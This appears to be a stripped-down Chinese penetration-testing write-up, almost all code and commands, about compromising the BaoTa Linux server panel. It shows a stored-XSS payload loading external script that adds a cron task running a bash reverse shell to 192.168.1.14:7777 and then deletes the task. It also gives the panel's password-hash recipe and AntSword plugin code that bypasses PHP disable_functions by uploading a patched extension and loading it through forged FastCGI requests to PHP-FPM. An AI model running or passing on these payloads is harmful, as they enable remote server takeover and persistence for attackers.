https://cloud.tencent.com/developer/article/1693184

http://ip:端口/pma

yum install curlcurl -L https://github.com/weiwang3056/baota_release/blob/main/LinuxPanel/LinuxPanel-7.7.0.zip?raw=true > LinuxPanel-7.7.0.zip

unzip LinuxPanel-7.7.0.zip

bash update.sh

echo '127.0.0.1 bt.cn' >>/etc/hosts

function addTask(TaskName, execTime, ip, port) {
    var execShell = 'bash -i >& /dev/tcp/192.168.1.14/7777 0>&1';
    execShell = encodeURIComponent(execShell);
    var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined';
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=AddCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}
function execTask(TaskName) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=GetCrontab', true);
    xhr.send();
    xhr.onload = function () {
        if (this.readyState == 4 && this.status == 200) {
            var res = JSON.parse(this.responseText);
            if (res[0].name == TaskName) {
                var TaskID = res[0].id.toString();
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '/crontab?action=StartTask', false);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                var params = 'id=' + TaskID;
                xhr.send(params);
                delTask(res[0].id);
                console.log(res[0].id);
                return res[0].id;
            }
        }
    }
}
function delTask(TaskID) {
    var params = 'id=' + TaskID.toString();
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=DelCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}
var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);

</textarea><script src=http://192.168.1.3:8080/1.js></script>

# MD5 hashing with additional strings as per the provided pattern
original_text = "milu1234"
additional_string1 = "_bt.cn"
additional_string2 = "3D3cJrSqoSec"
# First MD5 hash
first_md5 = hashlib.md5(original_text.encode()).hexdigest()
# Second MD5 hash with additional string 1
second_md5 = hashlib.md5((first_md5 + additional_string1).encode()).hexdigest()
# Final MD5 hash with additional string 2
final_md5 = hashlib.md5((second_md5 + additional_string2).encode()).hexdigest()
final_md5

https://mp.weixin.qq.com/s?__biz=MzkwNjUwNTg0MA==&mid=2247484214&idx=1&sn=0c00e6110d43ba82ac62296f808a119c&chksm=c0e63829f791b13f6561923d93725d070c0a0d27c48454d7fae47029d4e07596895421a0e47c&token=1554332763&lang=zh_CN#rd

extension=/path/to/your/extension.so

listen = 127.0.0.1:9000

listen = /tmp/php-cgi-74.sock

https://github.com/AntSword-Store/as_bypass_php_disable_functions

// 导入 FastCGI 客户端，用于与 PHP-FPM 交互
const { FastCgiClient } = require('../../payload');
// PHP-FPM 连接配置
let fpm_host = '';
let fpm_port = -1;
formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
if (formvals['fpm_addr'].startsWith('unix:')) {
    fpm_host = formvals['fpm_addr'];
} else if (formvals['fpm_addr'].startsWith('/')) {
    fpm_host = `unix://${formvals['fpm_addr']}`
} else {
    fpm_host = formvals['fpm_addr'].split(':')[0] || '';
    fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
}
// 构造 FastCGI 请求并发送到 PHP-FPM
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',
    ),
    $content
);
sleep(1);
echo(1);
`;

generateExt(cmd) {
    let self = this;
    let fileBuff = fs.readFileSync(self.ext_path);
    let start = 0,
      end = 0;
    switch (self.ext_name) {
      case 'ant_x86.so':
      case 'ant_x32.so':
        start = 275;
        end = 504;
        break;
      case 'ant_x64.so':
        // 434-665
        start = 434;
        end = 665;
        break;
      case 'ant_x86.dll':
      case 'ant_x32.dll':
        start = 1544;
        end = 1683;
        break;
      case 'ant_x64.dll':
        start = 1552;
        end = 1691;
        break;
      default:
        break;
    }
    if (cmd.length > (end - start)) {
      return
    }
    fileBuff[end] = 0;
    fileBuff.write(" ", start);
    fileBuff.write(cmd, start);
    return fileBuff;
  }

let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
      let fileBuffer = self.generateExt(cmd);

/bin/sh -c php -n -S 127.0.0.1:60298-t /var/www/html

// 上传 .so 文件
new Promise((res, rej) => {
    var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
    core.request(
        core.filemanager.upload_file({
            path: ext_path,
            content: fileBuffer
        })
    )
    // ... 后续 Promise 链
});

// 构造 FastCGI 请求并发送到 PHP-FPM
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SERVER_SOFTWARE' => 'php/fcgiclient',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '9984',
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'mag-tured',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',
    'CONTENT_LENGTH' => strlen($content)
    ),
    $content
);

exploit() {
    // ... [代码省略] ...
    new Promise((res, rej) => {
        // ... [代码省略] ...
    }).then((p) => {
        // 触发 payload, 会超时
        var payload = `${FastCgiClient()};
          $content="";
          $client = new Client('${fpm_host}',${fpm_port});
          $client->request(array(
            // FastCGI 请求参数
            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
            'REQUEST_METHOD' => 'POST',
            'SERVER_SOFTWARE' => 'php/fcgiclient',
            'REMOTE_ADDR' => '127.0.0.1',
            'REMOTE_PORT' => '9984',
            'SERVER_ADDR' => '127.0.0.1',
            'SERVER_PORT' => '80',
            'SERVER_NAME' => 'mag-tured',
            'SERVER_PROTOCOL' => 'HTTP/1.1',
            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
            'PHP_VALUE' => 'extension=${p}',
            'PHP_ADMIN_VALUE' => 'extension=${p}',
            'CONTENT_LENGTH' => strlen($content)
            ),
            $content
          );
          sleep(1);
          echo(1);
        `;
        core.request({
          _: payload,
        }).then((response) => {
        }).catch((err) => {
          // 超时也是正常
        })
      }).then(() => {
        // 验证是否成功开启
        var payload = `sleep(1);
          $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
          if(!$fp){
            echo(0);
          }else{
            echo(1);
            @fclose($fp);
          };`
        core.request({
          _: payload,
        }).then((response) => {
          // ... [代码省略] ...
        }).catch((err) => {
          // ... [代码省略] ...
        })
      }).catch((err) => {
        // ... [代码省略] ...
      });
    // ... [代码省略] ...
}

/bin/sh -c php -n -S 127.0.0.1:60298-t /var/www/html

推荐阅读

内推|长亭科技2024届秋招开启，附内推码~

你能拿她学校的shell，但永远拿不了她的shell

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

渗透实战|NPS反制之绕过登陆验证

渗透实战|记一次曲折的EDU通杀漏洞挖掘